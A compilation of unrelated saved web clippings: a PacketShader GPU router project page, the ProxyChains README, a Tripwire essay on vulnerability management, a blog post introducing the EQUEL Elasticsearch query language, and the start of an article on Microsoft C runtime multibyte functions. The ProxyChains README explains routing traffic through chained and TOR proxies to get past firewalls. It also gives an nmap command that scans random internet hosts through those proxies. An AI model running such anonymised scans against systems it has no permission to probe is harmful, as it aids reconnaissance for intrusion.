the packet reception and transmission path on Linux. With extensive batch
processing and pipelining, PacketShader achieves an unprecedented IP packet
forwarding performance of 40 Gbps on an eight-core Nehalem server even for
64-byte packet size.

##  Why GPU?

As you all know, GPU is a central chip in your graphics card. GPUs expose a
high level of processing parallelism by supporting tens of thousands of
hardware threads and ample memory bandwidth. Beyond fast graphics rendering,
recent GPUs are widely used for high-performance parallel applications whose
workloads require enormous computation cycles and/or memory bandwidth. The
data-parallel execution model of GPU fits nicely with inherent parallelism in
most router applications.

##  Packet I/O Optimization on Linux

We implemented high-performance packet I/O engine for user-level application.
This project is being maintained separately, and the source code is publicly
available now.

Currently-available Linux network stack is not optimized for high-performance
IP packet processing, say, for multi-10G networks. For high-speed software
routers and better utilization of GPUs, we optimize the packet I/O path in
Linux with the following approach.

  * Huge packet buffer: Instead of allocating metadata \(sk\_buff or skb\) and packet data for each packet reception, PacketShader pre-allocates two circular buffers that can hold a large array of metadata and packet data. This greatly reduces the memory allocation/deallocation overhead for high-speed packet reception. 
  * Batch processing: PacketShader batch processes a group of packets at a time in the hardware, device driver, and even in the application layer. This amortize per-packet processing overhead. 
  * NUMA-aware data placement: PacketShader minimizes packet movement between local and remote memory in a Non-Uniform Memory Access \(NUMA\) system. Packets received by NICs are processed by its local CPU and memory. 
  * Multi-core CPU scalability: PacketShader takes advantage of receive-side scaling \(RSS\) to eliminate the lock contention in accessing the NIC queues. It also removes the false sharing problem with the CPU cache by aligning the start address of RX queue to the cacheline boundary. Finally, it removes the global NIC counter for statistics. These optimizations allow linear scalability for multi-core router systems. 

With our packet I/O optimization, we are able to run the packet processing in
_the user level_ even for multi-10G router workloads.

## Performance

Figure 1 shows the performance of our optimized packet I/O engine. RX+TX bars
represent the case of no-op forwarding, which transmits a packet from a port
to another port without further processing.

<img src='img/Temp2_6090.png' />

Figure 1. Packet I/O throughput over various packet sizes

We have implemented four "router applications" based on the packet I/O engine:
IPv4 forwarding, IPv6 forwarding, OpenFlow switch, and IPsec tunneling. The
below four graphs compare the throughput of the CPU-only implementation and
the GPU-accelerated implementation. The performance results clearly show the
effectiveness of GPU for packet processing.

<img src='img/Temp2_6089.png' /> Figure 2. IPv4 forwarding  |  <img src='img/Temp2_6091.png' /> Figure 3. IPv6 forwarding   
---|---  
For the IP forwarding, we offloaded longest prefix matching to GPU. Forwarding
table lookup is highly memory-intensive, and GPU can acclerate it with both
latency hiding capability and bandwidth.

<img src='img/Temp2_6094.png' /> Figure 4. OpenFlow switch  |  <img src='img/Temp2_6092.png' /> Figure 5. IPsec tunneling \(AES-CTR and SHA1\)   
---|---  
OpenFlow and IPsec represent compute-intensive workloads of software routers
in our work. We have confirmed that compute-intensive applications can benefit
from GPU as well as memory-intensive applications.

## Current Status and Bottleneck

Our prototype implementation uses two four-core Intel Nehalem CPUs
\(2.66GHz\), four dual-port 10GbE Intel NICs, and two NVIDIA GTX 480 cards.
Since we use many PCI-e devices, our machine adopts two IOHs \(formerly called
Northbridge\). Interestingly, the performance of our system is limited by the
dual-IOH capacity. Specifically, we see asymmetric performance between the
host-to-device and device-to-host PCI-e throughputs \(more detail in our
SIGCOMM paper below\). Due to this problem, our current system cannot produce
more than 40 Gbps performance even if both CPU and GPU are not the bottleneck.

##  Press Coverage

## Publications

  * PacketShader: a GPU-accelerated Software Router \(slides\)   
Sangjin Han, Keon Jang, KyoungSoo Park and Sue Moon.  
In proceedings of ACM SIGCOMM 2010, Delhi, India. September 2010.

  * Buildling a Single-Box 100 Gbps Software Router    
Sangjin Han, Keon Jang, KyoungSoo Park and Sue Moon.  
The 17th IEEE Workshop on Local and Metropolitan Area Networks \(LANMAN\)
invited paper, Long Branch, New Jersey, May 2010.

  * PacketShader: Massively Parallel Packet Processing with GPUs to Accelerate Software Routers    
Sangjin Han, Keon Jang, KyoungSoo Park and Sue Moon.  
USENIX NSDI poster, San Jose, California. April 2010.

## People

Students: Sangjin Han and Keon Jang  
Faculty: KyoungSoo Park and  Sue Moon  
We are collectively reached by our mailing list: tengig at an.kaist.ac.kr.

# ProxyChains - README \(HowTo\) TCP and DNS through proxy server. HTTP and
SOCKS

**Created:**| _7/30/2013 10:32:08 AM_  
---|---  
**Updated:**| _7/30/2013 10:32:08 AM_  
**Author:**| __  
**Tags:**| _proxy socks_  
  

# **R** EADME \(HowTo\) TCP and DNS through proxy server. HTTP and SOCKS****

ProxyChains HowTo

[code]

    ProxyChains README   
    current version: 3**.** 1  
    ======================  
      
    This is open source software for GNU/Linux systems.  
      
    proxychains - a tool that forces any TCP connection made by any given application  
    to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy**.**   
    Supported auth-types: "user/pass" for SOCKS4/5, "basic" for HTTP**.**  
      
     proxyresolv - DNS resolving. Used to resolve host names via proxy or TOR**.**  
      
      
     When to use it ? What for ? Why ?  
      
    When you want two (or more) different proxies in chain:  
     like: your_host <--> proxy 1 (TOR) <--> proxy 2 (HTTP or SOCKS4/5) <--> target_host  
      
    You may need it when the only way out from your LAN is through proxy server**.**  
     Or to get out from behind restrictive firewall that filters some ports in outgoing traffic**.**  
     And you want to do that with some app like telnet**.**  
     Indeed you can even access your home LAN from outside via reverse proxy if you set it**.**  
     Use external DNS from behind any proxy/firewall**.**  
     Use TOR network with SSH and friends.  
      
      
    Some cool features:  
      
    * Different chaining options supported  
     random order from the list ( user defined length of chain )**.**  
     exact order (as they appear in the list )  
     dynamic order (smart exclude dead proxies from chain)  
      
    * You can use it with any application, even network scanners  
     oh yes - you can make portscan via proxy (or chained proxies)  
     for example with Nmap scanner (www.insecire.org/nmap)**.**  
     proxychains nmap -sT -PO -p 80 -iR (find some webservers through proxy)  
      
    * Really long chains supported with tunable timeouts**.**  
      
     Configuration:  
    proxychains looks for config file in following order:  
    1) **.** /proxychains.conf  
    2) $(HOME)/.proxychains/proxychains.conf  
    3) /etc/proxychains.conf **  
      
    **see more in /etc/proxychains.conf  
      
    Usage Example:  
      
    bash$ proxychains telnet targethost.com  
      
    in this example it will run telnet through proxy(or chained proxies)  
    specified by proxychains.conf  
      
    Usage Example:  
      
    bash$ proxyresolv targethost.com  
      
    in this example it will resolve targethost.com through proxy(or chained proxies)  
    specified by proxychains.conf  
      
    NOTE:   
    to run suid/sgid programs(like ssh) through proxychains you have to be root  
      
      
    
[/code]

  
  
****

# So You Like Pain and Vulnerability Management? - The State of Security

**Created:**| _5/12/2014 3:58:19 PM_  
---|---  
**Updated:**| _5/12/2014 3:58:19 PM_  
**Author:**| __  
**Tags:**| _Threat-modeling risk-management management_  
  

# So You Like Pain and Vulnerability Management?

Hi, I’m your friend and security researcher, Pete Herzog. You might know me
from other public service announcements such as the widely anticipated,
upcoming workshop Secrets of Security, and critic’s choice award winners:
Teaching Your Teen to Hack Police Cars, and Help\! My Monkey is Posting
Pictures to Facebook\!

But I’m here today to take a moment and talk to you about the pain of neglect,
isolation, abuse, and infection, better known as “vulnerability management”.
In many ways vulnerability management can be part of a healthy system and
over-all good security. But there’s many important differences between
vulnerability management and security that you should know about:

**It’s Like Managing Tunnels In an Ant Nest**

You can’t manage vulnerabilities in closed software any more than you can
manage tunnel construction in an ant nest. That’s because there are the ones
you know and the ones you don’t know and the ones that somebody knows about
but they don’t want you to know about them. Those last kind are the
vulnerabilities that come from somebody who took the time to deconstruct,
decompile, analyze, and emulate to find new attack surfaces that you didn’t
even know were surfaces.

So because you can’t really get a handle on what vulnerabilities there are you
can’t intercept them through patching, no matter how fast your time to patch
is. And as long as developers release software and entire operating systems as
functional for all values of commercially marketable \(which means “not quite
done yet”\) with the intention that you are buying a snapshot of gradually
corrected software rather than an application then you’ll always need to work
with vulnerable software. But that doesn’t mean you have to buy into the
vulnerabilities part.

At least not in the part that you worry about security. Think of it this way:
your wallet isn’t secure either so you make it secure. You only upgrade your
wallet when you want to. You can do the same with software. But, just like you
can’t leave your vulnerable wallet around outside your direct control without
the contents disappearing, you can’t do that with your applications either.

**It’s How Flame Proof and Flame Resistant Are the Same If There Are No
Flames**

<img src='img/Temp2_7603.png' alt='pic' />

Managing vulnerabilities will not get you security. Especially since patched
vulnerabilities is a subset of found vulnerabilities which is assumed \(for
far too many\) to be a subset of having security.

You scan for vulnerabilities so you can patch those vulnerabilities to get
closer to security. But you can’t. Because it’s a subset. Just like dogs and
cats are a subset of “house pets” which is a subset of “domesticated animals”.

But if you wanted to have all the domesticated animals on your new arc you
can’t do it by only looking house pets as that would exclude goats, cows,
horses, yetis, and many animals maybe you don’t know or didn’t consider. So
when scanning for vulnerabilities you can only, at best, find the
vulnerabilities the scanner knows about. Then after false positives and false
negatives, there’s far less vulnerabilities it can report.

So your vulnerability assessments can’t include all the other possible things
from the superset, excluding what you don’t know or didn’t consider. Then the
vulnerabilities you fix can only ever be at best equal to the number of known
vulnerabilities but likely never will be outside a perfect, error-free
laboratory simulation. And then, if your vulnerability management depends on
the patching of those vulnerabilities, which means someone had to make and
release a fix \(unless you’re capable of coding your own patches but then
you’re probably so busy you’re not reading this\), you will have even less
which you can fix.

So the possibility that a patch exists for every known vulnerability is going
to be an even smaller subset than patchable vulnerabilities. Therefore,
vulnerability management can never reach a level of what can be the same as
having security. Some say it will get you closer to security and less of a
target than those around you but that’s like saying there’s no need to be
flame proof as long as there are others who are more flammable than you are.

**It Can Feel a Lot Like Doing Dishes**

Vulnerability management is an endless race that can’t be won. It’s more
likely the developer will stop supporting that software long before it will
ever be completely vulnerability free. You will always be chasing down
vulnerabilities, racing villains against the latest patch release, and putting
out user-fanned fires. So unless you enjoy that it will feel like a lot like
doing dishes at a fast food restaurant \(meaning: a crappy, routine job where
your co-workers are often demanding and impatient\).

Or, if you get off on it as a heroic routine, then it can be as thrilling as a
fireman in Matches Town during the summer magnifying glass and mirror parade.
Which is why wanting your security to be a process is a bad idea. Because you
may want better security but you’ll be too busy with problems to be making
better security. And so if that’s not your thing then vulnerability management
might be as repellant to you as the smell of burnt hair \(which, incidentally,
is an actual perfume in Matches Town\).

So security as a process is busy busy busy. Like bees. Like beavers. Like
motherhood. Because it’s not just a process. Singular. It’s not “the security
process” like you do it and get good at it. It’s not like the adult film star
process which pretty much gets you from film star to adult film star by doing
just one thing on film.

No, there are many security processes from patching to back-ups to disaster
recovery to testing to incident response to system hardening to… you get the
idea. And there’s always more that we need to deal with because, you know,
time is linear and makes sure things get old, brittle, disorderly, and worn.
So if you go into vulnerability management you do it because you like the pain
of being really busy and doing reports on showing how busy you are.

**You Can Do A Little More To Do A Lot Less**

<img src='img/Temp2_7605.png' alt='pic' />

So now you know that vulnerability management is just one part of the security
process but many don’t know that it’s not the only way of protecting software,
it’s just the second-most tedious way.

Which means you can actually choose to do other things that have the same
results but without the pain. The problem is that many HAVE TO do
vulnerability management as per some regulation or policy.

This means they should just add these other things to their vulnerability
management process to actually reduce the pain. \(For those interested in
trivia, the first most tedious way involves a lot of copy/pasting formatted
text between spreadsheets while braiding short hair and standing in line at
the DMV.\)

How can adding more stuff to already busy vulnerability management process
make the job less busy and stressful? Sounds like a fad diet where eating more
of something makes you lose weight, right? Well, it’s possible because of how
vulnerability exploitation works.

To exploit a vulnerability you need to target that vulnerability and then you
need to access that vulnerability. In movie cop speak, “That’s the motive and
opportunity for a perp.” So in offline space what happens with vulnerable
stuff? You protect it. You move it to a safe place to keep eyes and fingers
off of it. Just like your wallet. This is called _adding operational
controls_.

I know the word “Controls” gets used a lot and especially in the infosec
space, controls are thought of as processes. In that case, “controls” makes
people think of these things they should be doing to improve security, like
security awareness trainings or vulnerability management or patch management.
But what I’m talking about is operational controls- the things you apply and
not the things you do to assure a particular type of protection.

So back in the offline world, using the privacy control would move your wallet
out of sight and into your front pocket to reduce opportunity. Adding the
authentication control would put the wallet in a place that requires
authentication to open with some key like a safe. These same controls exist in
cyberspace as well and can also be applied to control how something is
accessed.

Why this matters is because when you manage operational controls as part of
vulnerability management you can actually take yourself out of the rat race of
patch vs. exploit. That’s huge\! That’s a way to make yourself a lot less
busy. By determining which operational controls are missing, poorly
implemented, or not properly functioning you can tell if something needs to be
patched or not and not just now but like, ya know, forever. For real. \(It’s
OSSTMM research stuff in case you want to read more about it or come hear me
explain it in Richmond, VA and get free candy.\)

**Filling a Hole Has Never Been So Dirty**

<img src='img/Temp2_7609.png' alt='pic' />

We think vulnerability management is straight-forward: there’s a hole and you
fill it and the hole is gone. That’s a great and simple visual. Makes it seem
so logical, right?

But that’s like saying space travel is just exploding a ship up until you’re
in space. Or like saying baseball is just hitting a ball with a stick to go
running around a clearly marked rhomboid path until you get back to where you
started from.

As you can see, these make for great and easy visuals but there’s actually
much more nuance and complexity behind these things that make them a lot
harder to execute properly than it seems. Well, maybe not baseball, that might
actually be just like that… But vulnerability management is much harder and
it’s been cursed with having this really simple idea. I suspect there’s an
evil advertising agency out there behind this. Or just a normal advertising
agency. Same thing.

To be realistic, let’s look at a small office of 50 people which means a huge
variety of different software with hundreds of thousands of interacting
components, applications, and systems across multiple channels from people to
wireless to telephony, designed to carry out specific actions without
interruption. These all need to be checked against an ever-growing list of
known vulnerabilities while they’re running and maybe actively protected with
security software that may prevent someone from checking if they’re
vulnerable.

Then you need to determine the ones that are really vulnerable and not just
false positives and then what? Patch, right? Remember the simple visual? You
got a hole so you fill it. But patching isn’t filling a hole. Or covering one.
Or stitching one. It’s more like gene therapy. Which, incidentally has the
same simplistic visuals problem so maybe that doesn’t help at all.

Anyway, you are actually adding something and changing something to correct
the failure in an existing something. Sure, it’s not as dangerous as gene
therapy but you are still changing what was there which means it is no longer
the same thing it was before. Which means, like gene therapy, if something
goes wrong then it can range from a hiccup to a meltdown. So you should be
testing it first on non-critical systems but, there’s that time problem again,
that thing you don’t really have, so should you skip it and just call it a
risk decision?

<img src='img/Temp2_7607.png' alt='pic' />

Which is why sometimes you don’t patch. Or you don’t test. Or you just leave
the whole thing on auto-update and know that since so many other people do it
that if something goes wrong it will affect many more companies than yours and
you can just blame the company for sending a bad patch.

Which, incidentally, won’t get you back any losses but finger pointing feels
good. Unless you own the company and then the damage will feel personal and
finger pointing won’t relieve any pain and suffering.

But you can always work towards getting all your controls in place so you can
patch when you want to and not because you have to before the thieves get the
opportunity. Just throwing that out there.

Then again maybe you’re too busy for all that and hire a consultancy to do
that for you. So maybe they will run the patches on auto-update because they
also can’t do it all and they have even less skin in the game and a whole lot
more places they point fingers, complete with canned presentations that
explain with graphs who should be blamed.

Afterward they run a vulnerability scanner to find the weaknesses that the
auto-update patching doesn’t handle, checks passwords, and verifies that all
the systems are properly set for auto-updating. While that’s all set-up they
work on adding new graphs to their “Who to Blame” presentation which now
includes a table on “If a hacker really wants in they will get in…” which
serves no other purpose than to point fingers away. Because it won’t get you
more secure.

So really, a patch isn’t just filling a hole. It’s more complicated and time
consuming than all that to do it right. It’s more time and resources than most
have. And if you let it overwhelm you then you need to rig the game to keep
up. Or else you will lose. In the end, playing dirty is the only way most
vulnerability managers can keep their heads above water. But let’s just call
that a risk decision.

**It’s Not Some Kind of Joke**

Vulnerability management can be a pain. It can be a huge pain. But it is
necessary. It just isn’t necessary the way the hype says it’s necessary. The
hype way \(scan, patch, repeat\) is the way you lose eventually- could be
sooner, could be later, or it could be a little loss each day that becomes a
big loss in aggregate. So it’s a serious issue. You need to be clear that
vulnerability management is not security. Worse, if you implement patches
without proper testing it may actually hurt your security. So this is not some
kind of joke.

But this is:

A vulnerability scanner walks into a crowded bar. It orders a drink. The
bartender says nothing. It orders again. But again, nothing. It starts poking
the bartender hard on the chest but the bartender ignores it and instead
serves the guy who shows up next to it. So it walks through the thick crowds
and starts harassing the DJ, the cocktail waitress, the piano player, and the
guy selling weed in the corner. But they all ignore it. So it leaves and goes
back to the guy who sent it in. “What happened?” he asks. “Nothing,” it
replies. “Place was dead.”

And this:

A vulnerability manager walks into a tiki bar and scans the room. “You not
gonna ID me?” he asks the bartender. But before the bartender can answer, he
goes to the jukebox. “You need to update these records.” Bartender says, “We
don’t use that jukebox.” “Doesn’t matter,” he replies then points at the
ceiling. “And these light bulbs need to be replaced.” Bartender tells him they
work fine but they keep them off during the day. But he quickly replies,
“Doesn’t matter. They’re weak. Someone could break them.” The bartender points
at the open flames on the tiki torches around the room, “What about them? Fire
hazard, right?” The vulnerability manager just shakes his head and says,
“Doesn’t matter. That’s out of scope.”

_**And don’t forget to see me in Richmond, VA from June 4 – 6 at RVAsec and
join my**workshop**there and see my presentation- it’s my only show this year
planned in the USA\!**_

****

**<img src='img/Temp2_7608.png' alt='pic' />**

**About the Author** : _Pete is the co-founder and Managing Director of the
security research organizationISECOM. Pete creates and develops advanced
methodologies, guidelines, learning materials, tools, and certification exams
in security, trust, and anti-fraud. His most well known works are the
international security analysis and testing standard OSSTMM \(Open Source
Security Testing Methodology Manual\), Hacker Highschool, the Bad People
Project, the Home Security Guidelines, the Secure Programming Guidelines, the
RAV Attack Surface metrics, and the all new Security Awareness Learning
Tactics guidelines. Pete’s research is referenced in over a thousand academic
and industry papers and books, applied internationally at all levels of
business and government, and closely followed by NATO, NIST, FBI, NASA, NSA,
all branches of armed forces, and the White House. He also provides security
and trust analysis as a consultant for next generation R&D technologies and
processes that have no formal means of testing yet. Additionally, Pete’s
background includes epidemiology field team work and support for ATSDR and the
CDC, and research in neuroscience, child and teen development, and psychology
which he applies to the projects he’s involved in. He is an avid hacker,
speaker, and teacher, having taught for years in Barcelona at La Salle
University URL and ESADE MBA Business School._

**Editor’s Note:** _The opinions expressed in this and other guest author
articles are solely those of the contributor, and do not necessarily reflect
those of Tripwire, Inc._

## Related Articles:

## Resources:

<img src='img/Temp2_7606.png' alt='pic' />Check out Tripwire SecureScan™, a
free, cloud-based vulnerability management service for up to 100 Internet
Protocol \(IP\) addresses on internal networks. This new tool makes
vulnerability management easily accessible to small and medium-sized
businesses that may not have the resources for enterprise-grade security
technology – and it detects the Heartbleed vulnerability.

**<img src='img/Temp2_7604.png' width='175' height='130' alt='pic' />The
Executive’s Guide to the Top 20 Critical Security Controls**

Tripwire has compiled an e-book, titled _The Executive’s Guide to the Top 20
Critical Security Controls: Key Takeaways and Improvement Opportunities_,
which is available for download \[registration form required\].

_Title image courtesy ofShutterStock_

Categories: Featured Articles, Vulnerability Management

Tags: ISECOM, Network Security, OSSTMM, Patch Management, Patching, Pete
Herzog, RVAsec, scanning, Security Controls, Security Strategies,
vulnerabilities, Vulnerability Management

* * *
### Leave a Reply Cancel reply

You must be logged in to post a comment.

###### About Tripwire Guest Authors

# Thomas Patzkes Personal Website

**Created:**| _5/17/2017 7:07:14 PM_  
---|---  
**Updated:**| _5/17/2017 7:07:14 PM_  
**Author:**| __  
**Tags:**| __  
  

  

This article gives an introduction to EQUEL, an Elasticsearch Query Language
I've released as open source Python library. As it got a bit lengthy, feel
free to skip directly to the example use case section, when you're not
interested in the motivation and the theory around it.

## Where is the Problem?

Elasticsearch gained huge popularity in the area of forensics and log analysis
\(or Security Information and Event Management, SIEM\). Kibana is usually the
first choice and a great tool for searching and visualizing log data stored in
Elasticsearch. Unfortunately, Kibana doesn't exposes the complete set of the
capabilities that Elasticsearch offers under the hood. One of these
capabilities I often miss while analysing logs is the top hits metric
aggregation which allows to show the documents that form a bucket. Current
Kibana versions expose it, but complete documents can only be displayed as
JSON. Further, Kibana only offers to build linear aggregation nesting
structures while Elasticsearch supports complex trees of aggregations with
parts that are independent to each other. The documentation further lists many
query types and aggregations that are not offered by Kibana.

Over a year ago, I discovered that Elasticsearch also fits well into some
aspects of my offensive security work and started to develop a toolchain
called WASE that aims to support web application security testing with
advanced search capabilities of Elasticsearch. WASE heavily uses nested fields
and it turned out quickly, that Kibana doesn't support them very well.
Moreover, Elasticsearch Query Strings are not capable of searching inside of
nested documents and to express aggregations at all.

A workaround for search restrictions is the usage of Query DSL in the Kibana
query input field. Unfortunately, this JSON-based format is quite human-
unfriendly due to the deep nesting that is often required to express search
queries. Another solution is to build special purpose tools like WASEQuery
that use the required APIs. Because I use Elasticsearch for many different
things, I started to develop a more generic approach, that resulted in EQUEL.

## What is EQUEL?

The main goal of EQUEL is to provide access to as many Elasticsearch features
as possible with a query language that is easy to understand and write for
humans. Users should write queries in a linear syntax without the requirement
for many layers of nesting. Further, the user should be able to express
queries and aggregations in one expression. The whole thing should be a
framework that allows to add own outputs and visualizations of data and to
extend the capabilities of Elastisearch with postprocessing modules. Further,
it should be possible to use it as drop-in replacement in existing
applications.

Disclaimer before you continue to read this section: you should be familiar
with Elasticsearch queries, aggregations and other features of it. I tried to
link the corresponding documentation, but the example sections below may be
better to understand without a deep understanding of Elasticsearch.

Basically, an EQUEL expression consists of one or multiple subexpressions with
the syntax:

[code]

    verb1 param1=val1 param2=val2 param3 ...
    
[/code]

Multiple subexpressions are connected via the pipe character. The first
subexpression may be an Elasticsearch Query String. Subexpressions can be
grouped in the following categories:

  * search/search modifiers
  * aggregation
  * postprocessing
  * output

A complete EQUEL expression looks as follows:

[code]

    search | searchmodifier1 | ... | agg aggregation1 | aggregation2 | ... | postproc postproc1 | ... | output output1 | ...
    
[/code]

Currently, the order of expressions from the above categories is strict and
the first expression of a category must be prepended with the corresponding
keyword. This is something I want to simplify in the future, but for the first
it makes parsing and disambiguation a bit easier.

EQUEL expressions start with a query, which is usually an Elasticsearch Query
String \(the expressions you usually type into the Kibana search bar\), but
may be also something else from the Query DSL, like script queries. Search
modifiers are sorting orders or field selection, stuff from this area of the
Elasticsearch documentation. This is followed by an arbitrary number of
aggregations, initiated by the keyword _agg_ at the beginning of the
subexpression. Aggregation can be named with an `as name` at the end of the
subexpression:

[code]

    agg aggregation param=val ... as foobar
    
[/code]

The names can then be used in combination with the _agg_ keyword to build
aggregation trees:

[code]

    agg foobar aggregation ...
    
[/code]

This will cause that the following aggregation is nested below the _foobar_
aggregation from above.

The categories postprocessing and output have a similar syntax. Outputs can
also be named for selection of displayed outputs. Postprocessing is not yet
implemented, but my next development efforts will concentrate on this
category.

Currently, EQUEL can be used from a command-line client _equel-cli.py_ that is
contained in its source tree.

A remarkable fact is that EQUEL already has its own logo:

<img src='img/Temp2_8374.png' width='255' height='72' alt='EQUEL Logo' />

## Installation

Install the dependencies listed in the README file under the requirements
section. Please be aware that EQUEL is developed with Python 3.

## Usage Example: Linux Logs

The example is based on Elasticsearch authentication indices created with the
logstash-linux configuration. Lets begin with a simple example and extract
failed SSH logins, as we would search for them in Kibana:

[code]

    ./equel-cli.py --index 'logstash-auth-*' 'program:sshd AND ssh_authresult:fail'
    
[/code]

This will result in:

<img src='img/Temp2_8375.png' width='689' height='694' alt='EQUEL Result for
simple query for failed SSH logins' />

By default EQUEL simply returns the JSON output of Elasticsearch, but it
offers other output options:

[code]

    ./equel-cli.py --index 'logstash-auth-*' 'program:sshd AND ssh_authresult:fail | output text'
    
[/code]

Results in:

<img src='img/Temp2_8372.png' width='561' height='548' alt='EQUEL Result of
query for failed SSH logins with text output' />

This is much better to read, isn't it? The output module _text_ was added.
Generally, one EQUEL expression can contain an arbitrary number of outputs and
each output can generate as many output streams as needed. Output can be
further optimized with options:

[code]

    ./equel-cli.py --index 'logstash-auth-*' \
    'program:sshd AND ssh_authresult:fail
    | output text mainfield=message fields=[timestamp,ssh_client_ip,ssh_user,geoip.country_name] condensed'
    
[/code]

<img src='img/Temp2_8370.png' width='810' height='245' alt='EQUEL Result of
query for failed SSH logins with optimized text output' />

Now the field _message_ is used as title for a hit, only interesting fields
are displayed and the output is condensed into one line.

You're missing CSV output of search results in Kibana? EQUEL can do it:

[code]

    ./equel-cli.py --index 'logstash-auth-*' \
    'program:sshd AND ssh_authresult:fail
    | output csv fields=[timestamp,ssh_client_ip,ssh_user,geoip.country_name]'
    
[/code]

<img src='img/Temp2_8373.png' width='418' height='395' alt='EQUEL Result of
query for failed SSH logins with CSV output' />

Instead of text, the CSV output module is now used with a list of fields that
should be contained in it. This output can be used in the Spreadsheet program
of your choice.

Now lets try to discover a common attack pattern by aggregating the failed
login events by authentication sources that try to login with many user
accounts:

[code]

    ./equel-cli.py --index 'logstash-auth-*' --output out.aggregations \
    'program:sshd AND ssh_authresult:fail
    | agg terms field=ssh_client_ip.keyword order=usercount.value- as source
    | terms field=ssh_user.keyword as user
    | agg source cardinality field=ssh_user.keyword as usercount
    | output text as out'
    
[/code]

<img src='img/Temp2_8371.png' width='331' height='677' alt='EQUEL Result of
query for failed SSH logins with an aggregation' />

This EQUEL expression accomplishes the following:

  * It searches for all failed SSH logins.
  * The failed logins are aggregated into a bucket per source IP. This aggregation is named _source_.
  * The _source_ buckets are further aggregated into buckets per attempted user account. This one is named _user_.
  * A metric aggregation child _usercount_ is added to _source_ that counts the number of user names attempted in failed logins.
  * The _source_ aggregation buckets are ordered descending by the _usercount_ metric.
  * The result is rendered by the text output module.
  * As we are only interested in the aggregation result, this output stream is selected with the `--output` parameter.

Finally, lets add one log record per source with the _top\_hits_ aggregation:

[code]

    ./equel-cli.py --index 'logstash-auth-*' --output out.aggregations \
    'program:sshd AND ssh_authresult:fail
    | agg terms field=ssh_client_ip.keyword order=usercount.value- as source
    | terms field=ssh_user.keyword as user
    | agg source cardinality field=ssh_user.keyword as usercount
    | agg source top_hits size=1
    | output text as out'
    
[/code]

<img src='img/Temp2_8369.png' width='775' height='839' alt='EQUEL Result of
query for failed SSH logins with top_hits aggregation' />

By the way, often used aggregations like _terms_ have shortcuts in EQUEL,
currently without the support for parameters. The above EQUEL expression can
be shortened a bit as follows:

[code]

    ./equel-cli.py --index 'logstash-auth-*' --output out.aggregations \
    'program:sshd AND ssh_authresult:fail
    | agg terms field=ssh_client_ip.keyword order=usercount.value- as source
    | :ssh_user.keyword
    | agg ~ssh_user.keyword as usercount
    | agg source top_hits size=1
    | output text as out'
    
[/code]

The _cardinality_ aggregation was replaced with the shortcut '~', _terms_ with
':'. Further, the name of _user_ was omitted, as it is not required.

I will publish a blog post that describes the usage of EQUEL with the WASE
framework and how nested documents can be searched.

## Integration in Own Projects

There are different ways to integrate EQUEL into an existing software project.
Generally, the main class is `equel.engine.EQUELEngine`. It can be
instantiated with the server name \(by default `localhost`\), an index pattern
\(`*`\) and a timeout value as parameter. An EQUEL expression is then parsed
with the instance method `.parseEQUEL(equel)` or a file with
`.parseEQUELFile(filename)`. This returns an `EQUELRequest` object instance
that can be converted into Elasticsearch DSL with `.jsonQuery()`. `.execute()`
performs the request against the server and index defined in the `EQUELEngine`
object. Obviously, usage of `.jsonQuery()` only supports queries and
aggregations.

The method `.execute()` returns an `EQUELResult` object \(or throws an
exception in case of an error\), which contains `EQUELOutput` instances in the
`.outputs` property. An `EQUELOutput` object behaves like a dictionary and
contains all generated output streams. An output has a type \(text, HTML or
image\) that can be used by further output processing to handle the output
properly.

See the source code of equel-cli.py as reference.

## Future Plans

EQUEL is currently in an early development stage. As the query language is
rather static in many areas and contains some cruft in its syntax, much
improvement is required in this area. Therefore, it shouldn't be expected that
the query language will be stable. Further, internal APIs may change and
therefore the way how plugins are implemented.

My development efforts in the near future will concentrate on threat hunting
use cases, mainly:

  * Implementation of a join-like operation as post-processing module. Example: mapping Windows Event IDs or failure codes to descriptive text.
  * A post-processing module for temporal correlation of events. Idea: search the temporal context of each search hit for hits to another query. Include additional hits of such searches or drop original hit if secondary search fails to find anything. Example: loading of related executables or libraries like in this Sigma rule.
  * Graphviz/vis.js/Neo4j outputs for aggregations. Example: creation of network flow diagrams, process dependency graphs etc.

Further improvements could be:

  * Cleanup of the syntax
  * Check if all Elasticsearch features behave as expected and create appropriate classes to make them accessible. Scripted fields in aggregation are one example of something that may not work currently.
  * Development of a rudimentary web GUI.
  * Development of a proxy that translates transparently between EQUEL and Elasticsearch queries.

As I'm expecting a shortage of time in the next months, feel free to pick up
one of these ideas or bugs you discover and contribute with pull requests :\)

## Credits

Big thanks go to Florian Roth for much valuable input and the fancy logo.
Without Ralf Glauberman, the name of EQUEL would be possibly EESQL or
something that sounds less nice today.

  

# Mutibyte-related Functions in Microsoft C Runtime

**Created:**| _3/9/2011 11:33:49 AM_  
---|---  
**Updated:**| _3/9/2011 11:34:03 AM_  
**Author:**| __  
**Tags:**| _Microsoft C programming_  
  

# Multibyte Functions in Microsoft C Run-time

Many C Run-times provide locale- and multibyte-related functions. However,
since the relevant information is part of the operating system, the OS-vendor-
provided versions are generally the most complete. We are here to have a look
at the multibyte functions provided in Microsoft C Run-time.

Multibyte functions in useful in Far East countries, such as China \(including
Taiwan and Hong Kong\), Korea, and Japan. The code pages of these countries
are generally compliant with ASCII when the character codes are less than
0x80, and the meaning of the codes \(and perhaps the code immediately
follows\) vary when they are greater than 0x80. For example, the name of the
current Chinese Premiere, Mr Zhu Rongji, is encoded in Codepage 936 \(GBK\) as
0xD6EC 0xE946 0xBBF9. Please note that the second character Rong is encoded as
0xE946, the second byte being lower than 0x80 \(However, the most common
characters in CP 936 have both bytes greater than 0x80\).

To use multibyte functions, the first step is to set the code page. Of course,
if you are using the OS default code page, this step could be omitted. You
should use the `_setmbcp` function.

**int \_setmbcp\(int** _codepage_**\);**

    Sets a new multibyte code page.
The  _codepage_ argument can be set to any valid code page value, or one of
the following predefined constants:

  * `_MB_CP_SBCS = 0 `Use single-byte code page
  * `_MB_CP_OEM = -2 `Use OEM code page obtained from operating system at program startup
  * `_MB_CP_ANSI = -3 `Use ANSI code page obtained from operating system at program startup
  * `_MB_CP_LOCALE = -4 `Use the current locale's code page obtained from a previous call to setlocale

`_MB_CP_SBCS` is equivalent to the "C" locale, where all **char** data types
are one byte. `_MB_CP_OEM` seems rarely used. By default, the run-time system
automatically sets the multibyte code page to the system-default ANSI code
page so `_MB_CP_ANSI` is generally not used either. `_MB_CP_LOCALE` unifies
the multibyte code page setting with locale setting. The following simple
program will show that both locale and multibyte code page is set to that of
Taiwan \(CP 950\):

> `#include <locale.h>`  
